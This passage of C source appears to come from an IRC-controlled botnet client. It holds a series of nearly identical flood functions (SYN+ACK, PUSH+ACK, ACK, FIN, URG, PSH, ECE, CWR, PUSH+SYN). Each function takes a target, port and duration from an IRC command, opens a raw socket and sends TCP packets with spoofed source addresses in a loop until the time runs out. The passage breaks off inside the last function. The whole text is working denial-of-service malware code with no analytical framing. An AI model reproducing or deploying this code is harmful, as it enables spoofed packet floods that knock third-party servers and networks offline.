  708.         unsigned long saddr, daddr,secs;
  709.         int get;
  710.         time_t start=time(NULL);
  711.         if (mfork(sender) != 0) return;
  712.         if (argc < 3) {
  713.                 Send(sock,"NOTICE %s :MIX <target> <port> <secs>\n",sender);
  714.                 exit(1);
  715.         }
  716.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  717.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  718.         daddr=host2ip(sender,argv[1]);
  719.         secs=atol(argv[3]);
  720.         dest=htons(atoi(argv[2]));
  721.         Send(sock,"NOTICE %s :Packeting %s with SYN+ACK.\n",sender,argv[1]);
  722.         send_tcp.ip.ihl = 5;
  723.         send_tcp.ip.version = 4;
  724.         send_tcp.ip.tos = 16;
  725.         send_tcp.ip.frag_off = 64;
  726.         send_tcp.ip.ttl = 255;
  727.         send_tcp.ip.protocol = 6;
  728.         send_tcp.tcp.doff = 5;
  729.         send_tcp.tcp.res1 = 0;
  730.         send_tcp.tcp.cwr = 0;
  731.         send_tcp.tcp.ece = 0;
  732.         send_tcp.tcp.urg = 0;
  733.         send_tcp.tcp.syn = 1;
  734.         send_tcp.tcp.psh = 0;
  735.         send_tcp.tcp.rst = 0;
  736.         send_tcp.tcp.fin = 0;
  737.         send_tcp.tcp.ack = 1;
  738.         send_tcp.tcp.window = 65535;
  739.         send_tcp.tcp.urg_ptr = 0;
  740.         while(1) {
  741.                 saddr=getspoof();
  742.                 if (atoi(argv[2]) == 0) dest=rand();
  743.                 send_tcp.ip.tot_len = htons(40+psize);
  744.                 send_tcp.ip.id = rand();
  745.                 send_tcp.ip.check = 0;
  746.                 send_tcp.ip.saddr = saddr;
  747.                 send_tcp.ip.daddr = daddr;
  748.                 send_tcp.tcp.source = rand();
  749.                 send_tcp.tcp.dest = dest;
  750.                 send_tcp.tcp.seq = rand();
  751.                 send_tcp.tcp.ack_seq = rand();
  752.                 send_tcp.tcp.check = 0;
  753.                 sin.sin_family = AF_INET;
  754.                 sin.sin_port = send_tcp.tcp.dest;
  755.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  756.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  757.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  758.                 pseudo_header.source_address = send_tcp.ip.saddr;
  759.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  760.                 pseudo_header.placeholder = 0;
  761.                 pseudo_header.protocol = IPPROTO_TCP;
  762.                 pseudo_header.tcp_length = htons(20+psize);
  763.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  764.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  765.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  766.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  767.                 if (a >= 50) {
  768.                         if (time(NULL) >= start+secs) exit(0);
  769.                         a=0;
  770.                 }
  771.                 a++;
  772.         }
  773.         close(get);
  774.         exit(0);
  775. }
  776. void mix(int sock, char *sender, int argc, char **argv) {
  777.         struct send_tcp send_tcp;
  778.         struct pseudo_header pseudo_header;
  779.         struct sockaddr_in sin;
  780.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  781.         unsigned int psize=20, source, dest, check;
  782.         unsigned long saddr, daddr,secs;
  783.         int get;
  784.         time_t start=time(NULL);
  785.         if (mfork(sender) != 0) return;
  786.         if (argc < 3) {
  787.                 Send(sock,"NOTICE %s :MIX <target> <port> <secs>\n",sender);
  788.                 exit(1);
  789.         }
  790.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  791.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  792.         daddr=host2ip(sender,argv[1]);
  793.         secs=atol(argv[3]);
  794.         dest=htons(atoi(argv[2]));
  795.         Send(sock,"NOTICE %s :Packeting %s with PUSH+ACK.\n",sender,argv[1]);
  796.         send_tcp.ip.ihl = 5;
  797.         send_tcp.ip.version = 4;
  798.         send_tcp.ip.tos = 16;
  799.         send_tcp.ip.frag_off = 64;
  800.         send_tcp.ip.ttl = 255;
  801.         send_tcp.ip.protocol = 6;
  802.         send_tcp.tcp.doff = 5;
  803.         send_tcp.tcp.res1 = 0;
  804.         send_tcp.tcp.cwr = 0;
  805.         send_tcp.tcp.ece = 0;
  806.         send_tcp.tcp.urg = 0;
  807.         send_tcp.tcp.psh = 1;
  808.         send_tcp.tcp.ack = 1;
  809.         send_tcp.tcp.rst = 0;
  810.         send_tcp.tcp.fin = 0;
  811.         send_tcp.tcp.syn = 0;
  812.         send_tcp.tcp.window = 65535;
  813.         send_tcp.tcp.urg_ptr = 0;
  814.         while(1) {
  815.                 saddr=getspoof();
  816.                 if (atoi(argv[2]) == 0) dest=rand();
  817.                 send_tcp.ip.tot_len = htons(40+psize);
  818.                 send_tcp.ip.id = rand();
  819.                 send_tcp.ip.check = 0;
  820.                 send_tcp.ip.saddr = saddr;
  821.                 send_tcp.ip.daddr = daddr;
  822.                 send_tcp.tcp.source = rand();
  823.                 send_tcp.tcp.dest = dest;
  824.                 send_tcp.tcp.seq = rand();
  825.                 send_tcp.tcp.ack_seq = rand();
  826.                 send_tcp.tcp.check = 0;
  827.                 sin.sin_family = AF_INET;
  828.                 sin.sin_port = send_tcp.tcp.dest;
  829.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  830.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  831.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  832.                 pseudo_header.source_address = send_tcp.ip.saddr;
  833.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  834.                 pseudo_header.placeholder = 0;
  835.                 pseudo_header.protocol = IPPROTO_TCP;
  836.                 pseudo_header.tcp_length = htons(20+psize);
  837.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  838.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  839.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  840.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  841.                 if (a >= 50) {
  842.                         if (time(NULL) >= start+secs) exit(0);
  843.                         a=0;
  844.                 }
  845.                 a++;
  846.         }
  847.         close(get);
  848.         exit(0);
  849. }
  850. void ack(int sock, char *sender, int argc, char **argv) {
  851.         struct send_tcp send_tcp;
  852.         struct pseudo_header pseudo_header;
  853.         struct sockaddr_in sin;
  854.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  855.         unsigned int psize=20, source, dest, check;
  856.         unsigned long saddr, daddr,secs;
  857.         int get;
  858.         time_t start=time(NULL);
  859.         if (mfork(sender) != 0) return;
  860.         if (argc < 3) {
  861.                 Send(sock,"NOTICE %s :ACK <target> <port> <secs>\n",sender);
  862.                 exit(1);
  863.         }
  864.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  865.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  866.         daddr=host2ip(sender,argv[1]);
  867.         secs=atol(argv[3]);
  868.     dest=htons(atoi(argv[2]));
  869.         Send(sock,"NOTICE %s :Packeting %s with ACK.\n",sender,argv[1]);
  870.     send_tcp.ip.ihl = 5;
  871.         send_tcp.ip.version = 4;
  872.         send_tcp.ip.tos = 16;
  873.         send_tcp.ip.frag_off = 64;
  874.     send_tcp.ip.ttl = 255;
  875.     send_tcp.ip.protocol = 6;
  876.     send_tcp.tcp.doff = 5;
  877.         send_tcp.tcp.res1 = 0;
  878.         send_tcp.tcp.cwr = 0;
  879.         send_tcp.tcp.ece = 0;
  880.         send_tcp.tcp.urg = 0;
  881.         send_tcp.tcp.ack = 1;
  882.         send_tcp.tcp.psh = 0;
  883.     send_tcp.tcp.rst = 0;
  884.         send_tcp.tcp.fin = 0;
  885.         send_tcp.tcp.syn = 0;
  886.     send_tcp.tcp.window = 65535;
  887.         send_tcp.tcp.urg_ptr = 0;
  888.         while(1) {
  889.         saddr=getspoof();
  890.         if (atoi(argv[2]) == 0) dest=rand();
  891.                 send_tcp.ip.tot_len = htons(40+psize);
  892.                 send_tcp.ip.id = rand();
  893.                 send_tcp.ip.check = 0;
  894.                 send_tcp.ip.saddr = saddr;
  895.                 send_tcp.ip.daddr = daddr;
  896.                 send_tcp.tcp.source = rand();
  897.                 send_tcp.tcp.dest = dest;
  898.                 send_tcp.tcp.seq = rand();
  899.                 send_tcp.tcp.ack_seq = rand();
  900.                 send_tcp.tcp.check = 0;
  901.                 sin.sin_family = AF_INET;
  902.                 sin.sin_port = send_tcp.tcp.dest;
  903.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  904.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  905.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  906.                 pseudo_header.source_address = send_tcp.ip.saddr;
  907.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  908.                 pseudo_header.placeholder = 0;
  909.                 pseudo_header.protocol = IPPROTO_TCP;
  910.                 pseudo_header.tcp_length = htons(20+psize);
  911.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  912.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  913.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  914.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  915.                 if (a >= 50) {
  916.                         if (time(NULL) >= start+secs) exit(0);
  917.                         a=0;
  918.                 }
  919.                 a++;
  920.         }
  921.         close(get);
  922.         exit(0);
  923. }
  924. void fin(int sock, char *sender, int argc, char **argv) {
  925.         struct send_tcp send_tcp;
  926.         struct pseudo_header pseudo_header;
  927.         struct sockaddr_in sin;
  928.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  929.         unsigned int psize=20, source, dest, check;
  930.         unsigned long saddr, daddr,secs;
  931.         int get;
  932.         time_t start=time(NULL);
  933.         if (mfork(sender) != 0) return;
  934.         if (argc < 3) {
  935.                 Send(sock,"NOTICE %s :FIN <target> <port> <secs>\n",sender);
  936.                 exit(1);
  937.         }
  938.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  939.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  940.         daddr=host2ip(sender,argv[1]);
  941.         secs=atol(argv[3]);
  942.     dest=htons(atoi(argv[2]));
  943.         Send(sock,"NOTICE %s :Packeting %s with FIN.\n",sender,argv[1]);
  944.     send_tcp.ip.ihl = 5;
  945.         send_tcp.ip.version = 4;
  946.         send_tcp.ip.tos = 16;
  947.         send_tcp.ip.frag_off = 64;
  948.     send_tcp.ip.ttl = 255;
  949.     send_tcp.ip.protocol = 6;
  950.     send_tcp.tcp.doff = 5;
  951.         send_tcp.tcp.res1 = 0;
  952.         send_tcp.tcp.cwr = 0;
  953.         send_tcp.tcp.ece = 0;
  954.         send_tcp.tcp.urg = 0;
  955.         send_tcp.tcp.ack = 0;
  956.         send_tcp.tcp.psh = 0;
  957.     send_tcp.tcp.rst = 0;
  958.         send_tcp.tcp.fin = 1;
  959.         send_tcp.tcp.syn = 0;
  960.     send_tcp.tcp.window = 65535;
  961.         send_tcp.tcp.urg_ptr = 0;
  962.         while(1) {
  963.         saddr=getspoof();
  964.         if (atoi(argv[2]) == 0) dest=rand();
  965.                 send_tcp.ip.tot_len = htons(40+psize);
  966.                 send_tcp.ip.id = rand();
  967.                 send_tcp.ip.check = 0;
  968.                 send_tcp.ip.saddr = saddr;
  969.                 send_tcp.ip.daddr = daddr;
  970.                 send_tcp.tcp.source = rand();
  971.                 send_tcp.tcp.dest = dest;
  972.                 send_tcp.tcp.seq = rand();
  973.                 send_tcp.tcp.ack_seq = rand();
  974.                 send_tcp.tcp.check = 0;
  975.                 sin.sin_family = AF_INET;
  976.                 sin.sin_port = send_tcp.tcp.dest;
  977.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  978.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  979.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  980.                 pseudo_header.source_address = send_tcp.ip.saddr;
  981.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  982.                 pseudo_header.placeholder = 0;
  983.                 pseudo_header.protocol = IPPROTO_TCP;
  984.                 pseudo_header.tcp_length = htons(20+psize);
  985.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  986.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  987.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  988.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  989.                 if (a >= 50) {
  990.                         if (time(NULL) >= start+secs) exit(0);
  991.                         a=0;
  992.                 }
  993.                 a++;
  994.         }
  995.         close(get);
  996.         exit(0);
  997. }
  998. void urg(int sock, char *sender, int argc, char **argv) {
  999.         struct send_tcp send_tcp;
  1000.         struct pseudo_header pseudo_header;
  1001.         struct sockaddr_in sin;
  1002.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1003.         unsigned int psize=20, source, dest, check;
  1004.         unsigned long saddr, daddr,secs;
  1005.         int get;
  1006.         time_t start=time(NULL);
  1007.         if (mfork(sender) != 0) return;
  1008.         if (argc < 3) {
  1009.                 Send(sock,"NOTICE %s :URG <target> <port> <secs>\n",sender);
  1010.                 exit(1);
  1011.         }
  1012.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1013.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1014.         daddr=host2ip(sender,argv[1]);
  1015.         secs=atol(argv[3]);
  1016.     dest=htons(atoi(argv[2]));
  1017.         Send(sock,"NOTICE %s :Packeting %s with URG.\n",sender,argv[1]);
  1018.     send_tcp.ip.ihl = 5;
  1019.         send_tcp.ip.version = 4;
  1020.         send_tcp.ip.tos = 16;
  1021.         send_tcp.ip.frag_off = 64;
  1022.     send_tcp.ip.ttl = 255;
  1023.     send_tcp.ip.protocol = 6;
  1024.     send_tcp.tcp.doff = 5;
  1025.         send_tcp.tcp.res1 = 0;
  1026.         send_tcp.tcp.cwr = 0;
  1027.         send_tcp.tcp.ece = 0;
  1028.         send_tcp.tcp.urg = 1;
  1029.         send_tcp.tcp.ack = 0;
  1030.         send_tcp.tcp.psh = 0;
  1031.     send_tcp.tcp.rst = 0;
  1032.         send_tcp.tcp.fin = 0;
  1033.         send_tcp.tcp.syn = 0;
  1034.     send_tcp.tcp.window = 65535;
  1035.         send_tcp.tcp.urg_ptr = 0;
  1036.         while(1) {
  1037.         saddr=getspoof();
  1038.         if (atoi(argv[2]) == 0) dest=rand();
  1039.                 send_tcp.ip.tot_len = htons(40+psize);
  1040.                 send_tcp.ip.id = rand();
  1041.                 send_tcp.ip.check = 0;
  1042.                 send_tcp.ip.saddr = saddr;
  1043.                 send_tcp.ip.daddr = daddr;
  1044.                 send_tcp.tcp.source = rand();
  1045.                 send_tcp.tcp.dest = dest;
  1046.                 send_tcp.tcp.seq = rand();
  1047.                 send_tcp.tcp.ack_seq = rand();
  1048.                 send_tcp.tcp.check = 0;
  1049.                 sin.sin_family = AF_INET;
  1050.                 sin.sin_port = send_tcp.tcp.dest;
  1051.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1052.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1053.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1054.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1055.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1056.                 pseudo_header.placeholder = 0;
  1057.                 pseudo_header.protocol = IPPROTO_TCP;
  1058.                 pseudo_header.tcp_length = htons(20+psize);
  1059.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1060.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1061.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1062.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1063.                 if (a >= 50) {
  1064.                         if (time(NULL) >= start+secs) exit(0);
  1065.                         a=0;
  1066.                 }
  1067.                 a++;
  1068.         }
  1069.         close(get);
  1070.         exit(0);
  1071. }
  1072. void psh(int sock, char *sender, int argc, char **argv) {
  1073.         struct send_tcp send_tcp;
  1074.         struct pseudo_header pseudo_header;
  1075.         struct sockaddr_in sin;
  1076.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1077.         unsigned int psize=20, source, dest, check;
  1078.         unsigned long saddr, daddr,secs;
  1079.         int get;
  1080.         time_t start=time(NULL);
  1081.         if (mfork(sender) != 0) return;
  1082.         if (argc < 3) {
  1083.                 Send(sock,"NOTICE %s :PSH <target> <port> <secs>\n",sender);
  1084.                 exit(1);
  1085.         }
  1086.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1087.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1088.         daddr=host2ip(sender,argv[1]);
  1089.         secs=atol(argv[3]);
  1090.     dest=htons(atoi(argv[2]));
  1091.         Send(sock,"NOTICE %s :Packeting %s with PSH.\n",sender,argv[1]);
  1092.     send_tcp.ip.ihl = 5;
  1093.         send_tcp.ip.version = 4;
  1094.         send_tcp.ip.tos = 16;
  1095.         send_tcp.ip.frag_off = 64;
  1096.     send_tcp.ip.ttl = 255;
  1097.     send_tcp.ip.protocol = 6;
  1098.     send_tcp.tcp.doff = 5;
  1099.         send_tcp.tcp.res1 = 0;
  1100.         send_tcp.tcp.cwr = 0;
  1101.         send_tcp.tcp.ece = 0;
  1102.         send_tcp.tcp.urg = 0;
  1103.         send_tcp.tcp.ack = 0;
  1104.         send_tcp.tcp.psh = 1;
  1105.     send_tcp.tcp.rst = 0;
  1106.         send_tcp.tcp.fin = 0;
  1107.         send_tcp.tcp.syn = 0;
  1108.     send_tcp.tcp.window = 65535;
  1109.         send_tcp.tcp.urg_ptr = 0;
  1110.         while(1) {
  1111.         saddr=getspoof();
  1112.         if (atoi(argv[2]) == 0) dest=rand();
  1113.                 send_tcp.ip.tot_len = htons(40+psize);
  1114.                 send_tcp.ip.id = rand();
  1115.                 send_tcp.ip.check = 0;
  1116.                 send_tcp.ip.saddr = saddr;
  1117.                 send_tcp.ip.daddr = daddr;
  1118.                 send_tcp.tcp.source = rand();
  1119.                 send_tcp.tcp.dest = dest;
  1120.                 send_tcp.tcp.seq = rand();
  1121.                 send_tcp.tcp.ack_seq = rand();
  1122.                 send_tcp.tcp.check = 0;
  1123.                 sin.sin_family = AF_INET;
  1124.                 sin.sin_port = send_tcp.tcp.dest;
  1125.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1126.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1127.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1128.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1129.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1130.                 pseudo_header.placeholder = 0;
  1131.                 pseudo_header.protocol = IPPROTO_TCP;
  1132.                 pseudo_header.tcp_length = htons(20+psize);
  1133.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1134.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1135.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1136.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1137.                 if (a >= 50) {
  1138.                         if (time(NULL) >= start+secs) exit(0);
  1139.                         a=0;
  1140.                 }
  1141.                 a++;
  1142.         }
  1143.         close(get);
  1144.         exit(0);
  1145. }
  1146. void ece(int sock, char *sender, int argc, char **argv) {
  1147.         struct send_tcp send_tcp;
  1148.         struct pseudo_header pseudo_header;
  1149.         struct sockaddr_in sin;
  1150.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1151.         unsigned int psize=20, source, dest, check;
  1152.         unsigned long saddr, daddr,secs;
  1153.         int get;
  1154.         time_t start=time(NULL);
  1155.         if (mfork(sender) != 0) return;
  1156.         if (argc < 3) {
  1157.                 Send(sock,"NOTICE %s :ECE <target> <port> <secs>\n",sender);
  1158.                 exit(1);
  1159.         }
  1160.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1161.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1162.         daddr=host2ip(sender,argv[1]);
  1163.         secs=atol(argv[3]);
  1164.     dest=htons(atoi(argv[2]));
  1165.         Send(sock,"NOTICE %s :Packeting %s with ECE.\n",sender,argv[1]);
  1166.     send_tcp.ip.ihl = 5;
  1167.         send_tcp.ip.version = 4;
  1168.         send_tcp.ip.tos = 16;
  1169.         send_tcp.ip.frag_off = 64;
  1170.     send_tcp.ip.ttl = 255;
  1171.     send_tcp.ip.protocol = 6;
  1172.     send_tcp.tcp.doff = 5;
  1173.         send_tcp.tcp.res1 = 0;
  1174.         send_tcp.tcp.cwr = 0;
  1175.         send_tcp.tcp.ece = 1;
  1176.         send_tcp.tcp.urg = 0;
  1177.         send_tcp.tcp.ack = 0;
  1178.         send_tcp.tcp.psh = 0;
  1179.     send_tcp.tcp.rst = 0;
  1180.         send_tcp.tcp.fin = 0;
  1181.         send_tcp.tcp.syn = 0;
  1182.     send_tcp.tcp.window = 65535;
  1183.         send_tcp.tcp.urg_ptr = 0;
  1184.         while(1) {
  1185.         saddr=getspoof();
  1186.         if (atoi(argv[2]) == 0) dest=rand();
  1187.                 send_tcp.ip.tot_len = htons(40+psize);
  1188.                 send_tcp.ip.id = rand();
  1189.                 send_tcp.ip.check = 0;
  1190.                 send_tcp.ip.saddr = saddr;
  1191.                 send_tcp.ip.daddr = daddr;
  1192.                 send_tcp.tcp.source = rand();
  1193.                 send_tcp.tcp.dest = dest;
  1194.                 send_tcp.tcp.seq = rand();
  1195.                 send_tcp.tcp.ack_seq = rand();
  1196.                 send_tcp.tcp.check = 0;
  1197.                 sin.sin_family = AF_INET;
  1198.                 sin.sin_port = send_tcp.tcp.dest;
  1199.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1200.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1201.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1202.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1203.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1204.                 pseudo_header.placeholder = 0;
  1205.                 pseudo_header.protocol = IPPROTO_TCP;
  1206.                 pseudo_header.tcp_length = htons(20+psize);
  1207.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1208.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1209.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1210.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1211.                 if (a >= 50) {
  1212.                         if (time(NULL) >= start+secs) exit(0);
  1213.                         a=0;
  1214.                 }
  1215.                 a++;
  1216.         }
  1217.         close(get);
  1218.         exit(0);
  1219. }
  1220. void cwr(int sock, char *sender, int argc, char **argv) {
  1221.         struct send_tcp send_tcp;
  1222.         struct pseudo_header pseudo_header;
  1223.         struct sockaddr_in sin;
  1224.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1225.         unsigned int psize=20, source, dest, check;
  1226.         unsigned long saddr, daddr,secs;
  1227.         int get;
  1228.         time_t start=time(NULL);
  1229.         if (mfork(sender) != 0) return;
  1230.         if (argc < 3) {
  1231.                 Send(sock,"NOTICE %s :CWR <target> <port> <secs>\n",sender);
  1232.                 exit(1);
  1233.         }
  1234.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1235.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1236.         daddr=host2ip(sender,argv[1]);
  1237.         secs=atol(argv[3]);
  1238.     dest=htons(atoi(argv[2]));
  1239.         Send(sock,"NOTICE %s :Packeting %s with CWR.\n",sender,argv[1]);
  1240.     send_tcp.ip.ihl = 5;
  1241.         send_tcp.ip.version = 4;
  1242.         send_tcp.ip.tos = 16;
  1243.         send_tcp.ip.frag_off = 64;
  1244.     send_tcp.ip.ttl = 255;
  1245.     send_tcp.ip.protocol = 6;
  1246.     send_tcp.tcp.doff = 5;
  1247.         send_tcp.tcp.res1 = 0;
  1248.         send_tcp.tcp.cwr = 1;
  1249.         send_tcp.tcp.ece = 0;
  1250.         send_tcp.tcp.urg = 0;
  1251.         send_tcp.tcp.ack = 0;
  1252.         send_tcp.tcp.psh = 0;
  1253.     send_tcp.tcp.rst = 0;
  1254.         send_tcp.tcp.fin = 0;
  1255.         send_tcp.tcp.syn = 0;
  1256.     send_tcp.tcp.window = 65535;
  1257.         send_tcp.tcp.urg_ptr = 0;
  1258.         while(1) {
  1259.         saddr=getspoof();
  1260.         if (atoi(argv[2]) == 0) dest=rand();
  1261.                 send_tcp.ip.tot_len = htons(40+psize);
  1262.                 send_tcp.ip.id = rand();
  1263.                 send_tcp.ip.check = 0;
  1264.                 send_tcp.ip.saddr = saddr;
  1265.                 send_tcp.ip.daddr = daddr;
  1266.                 send_tcp.tcp.source = rand();
  1267.                 send_tcp.tcp.dest = dest;
  1268.                 send_tcp.tcp.seq = rand();
  1269.                 send_tcp.tcp.ack_seq = rand();
  1270.                 send_tcp.tcp.check = 0;
  1271.                 sin.sin_family = AF_INET;
  1272.                 sin.sin_port = send_tcp.tcp.dest;
  1273.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  1274.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  1275.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  1276.                 pseudo_header.source_address = send_tcp.ip.saddr;
  1277.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  1278.                 pseudo_header.placeholder = 0;
  1279.                 pseudo_header.protocol = IPPROTO_TCP;
  1280.                 pseudo_header.tcp_length = htons(20+psize);
  1281.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  1282.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  1283.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  1284.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  1285.                 if (a >= 50) {
  1286.                         if (time(NULL) >= start+secs) exit(0);
  1287.                         a=0;
  1288.                 }
  1289.                 a++;
  1290.         }
  1291.         close(get);
  1292.         exit(0);
  1293. }
  1294. void mix2(int sock, char *sender, int argc, char **argv) {
  1295.         struct send_tcp send_tcp;
  1296.         struct pseudo_header pseudo_header;
  1297.         struct sockaddr_in sin;
  1298.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  1299.         unsigned int psize=20, source, dest, check;
  1300.         unsigned long saddr, daddr,secs;
  1301.         int get;
  1302.         time_t start=time(NULL);
  1303.         if (mfork(sender) != 0) return;
  1304.         if (argc < 3) {
  1305.                 Send(sock,"NOTICE %s :MIX2 <target> <port> <secs>\n",sender);
  1306.                 exit(1);
  1307.         }
  1308.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  1309.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  1310.         daddr=host2ip(sender,argv[1]);
  1311.         secs=atol(argv[3]);
  1312.     dest=htons(atoi(argv[2]));
  1313.         Send(sock,"NOTICE %s :Packeting %s with PUSH+SYN.\n",sender,argv[1]);
  1314.     send_tcp.ip.ihl = 5;
  1315.         send_tcp.ip.version = 4;
  1316.         send_tcp.ip.tos = 16;
  1317.         send_tcp.ip.frag_off = 64;
  1318.     send_tcp.ip.ttl = 255;
  1319.     send_tcp.ip.protocol = 6;
  1320.     send_tcp.tcp.doff = 5;
  1321.         send_tcp.tcp.res1 = 0;
  1322.         send_tcp.tcp.cwr = 0;
  1323.         send_tcp.tcp.ece = 0;
  1324.         send_tcp.tcp.urg = 0;
  1325.         send_tcp.tcp.ack = 0;
  1326.         send_tcp.tcp.psh = 1;
  1327.     send_tcp.tcp.rst = 0;
  1328.         send_tcp.tcp.fin = 0;
  1329.         send_tcp.tcp.syn = 1;
  1330.     send_tcp.tcp.window = 65535;
  1331.         send_tcp.tcp.urg_ptr = 0;
  1332.         while(1) {
  1333.         saddr=getspoof();
  1334.         if (atoi(argv[2]) == 0) dest=rand();
  1335.                 send_tcp.ip.tot_len = htons(40+psize);
